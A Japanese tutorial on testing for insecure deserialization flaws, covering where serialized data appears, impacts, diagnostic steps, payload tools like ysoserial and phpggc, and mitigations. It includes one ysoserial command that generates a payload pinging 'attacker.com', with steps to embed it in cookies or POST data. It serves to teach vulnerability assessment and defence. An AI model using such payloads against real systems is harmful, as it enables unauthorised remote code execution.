Hello there, ('ω')ノ
🎯 1. Insecure Deserializationとは？
デシリアライズ（逆シリアライズ）とは、保存や送信のために一度バイト列や文字列に変換されたデータを、元のオブジェクトに戻す処理です。
✴️ Insecure Deserializationは、攻撃者が細工したシリアライズデータをサーバが無条件に復元してしまうことで、
任意コード実行や認証バイパスなどが可能になる脆弱性です。
🧭 2. よく見られる機能・画面
| 機能・画面 |
見込みのある挙動 |
コメント |
| Cookie |
謎の長い文字列が入っている（Base64っぽい） |
認証情報や状態を保持している |
| Hiddenパラメータ |
POSTの中に見慣れない形式のデータ |
オブジェクトをHTMLで保持 |
| APIリクエスト |
JSON以外の形式（Java序列、Pickle、PHP） |
特に Content-Type: application/x-java-serialized-object |
| JWT（JSON Web Token） |
署名がない / 変更可能 |
デシリアライズ脆弱性と同時に発生することあり |
🔥 3. 典型的な被害内容
| 攻撃例 |
内容 |
| 🧨 任意コード実行（RCE） |
細工したオブジェクトに悪意あるメソッドが含まれる |
| 🔓 ロジック改変 |
ロールを admin に書き換え |
| 🕵️♂️ 情報漏洩 |
オブジェクト内部構造が漏れる |
| ⛔ サーバクラッシュ |
不正データで例外や無限ループを発生させる |
🧪 4. 基本診断手順
Step 1：対象データの観察
- Cookie, パラメータ, フォーム, リクエストボディを確認
- 不自然に長く、文字列エンコードされている（Base64, hex など）
rO0..., T... で始まるJavaオブジェクトなどを特定
Step 2：復号・デコードしてみる
- Base64でデコードして意味のあるバイナリ・構造を探す
ツール：
base64 -d- CyberChef（ブラウザ上でさまざまなエンコードを解析）
Step 3：改ざんして送り返す
- パラメータやオブジェクトの中の値を改変し、再送
- レスポンスや動作に変化があれば脆弱性の可能性
🔧 5. 攻撃用ペイロード例（言語別）
| 言語 |
ツール / ペイロード例 |
| Java |
ysoserial ツール（例：CommonsCollections1） |
| PHP |
__wakeup() や __destruct() にRCE |
| Python |
pickle.loads() による任意コード |
| .NET |
BinaryFormatter, SoapFormatter |
📌 Javaの場合の例（Burpで使用）
java -jar ysoserial.jar CommonsCollections1 'ping attacker.com' > payload.bin
payload.bin をBase64化してCookieやPOSTに埋め込み- 送信後、攻撃者のサーバにリクエストが来れば成功
🧰 6. 診断ツール
| ツール名 |
用途 |
| Burp Suite |
改変・再送信に便利、拡張で自動化可能 |
| ysoserial / ysoserial.net |
Java/.NET用のRCEペイロード生成ツール |
| SerialKiller |
Javaオブジェクトを逆変換・検査 |
| phpggc |
PHP用ペイロード生成ツール |
| Hackvertor（Burp拡張） |
Base64 / hex / Unicode変換補助 |
✅ 7. 診断成功のサイン
| 状況 |
意味 |
| 改変後にアプリの挙動が変わる |
オブジェクト内容が処理されている証拠 |
| 特定のコードや文字列が実行・出力される |
コードインジェクション成功の可能性 |
| OOBリクエスト（pingなど）が飛ぶ |
任意コード実行成功の兆候 |
🔐 8. 安全な実装の確認ポイント
| 対策 |
説明 |
| 信頼できない入力を絶対にデシリアライズしない |
原則中の原則 |
| オブジェクトをバリデーション・制限付きで扱う |
allowlist方式推奨 |
| セキュアなデシリアライザ使用（例：JacksonのSafeモード） |
|
| シリアライズされた値に署名やMACを付与する |
改ざん防止に有効（例：HMAC） |
🧠 見つけやすいヒント
- Cookieやフォームに「意味のわからない長い文字列」
rO0AB... や O:10:"UserObject" のような形式- JSONではない POST データ（
application/octet-stream, serialized-object, など）
🎯 補足：誤解しやすいポイント
| NG認識 |
実際は… |
| シリアライズは内部処理なので安全 |
いいえ、ユーザ入力が含まれていれば危険です |
| JSONは大丈夫 |
基本的には安全ですが、eval() などで使っていれば別です |
| 認証済みだからOK |
認証ユーザが攻撃者であることもあり得ます（特権昇格や横断） |
この脆弱性は「コード実行（RCE）に直結しやすい非常に危険なもの」です。
特にJavaやPHP環境では攻撃成功率も高く、診断対象システムにその気配があれば、徹底した確認が必要です。
Best regards, (^^ゞ
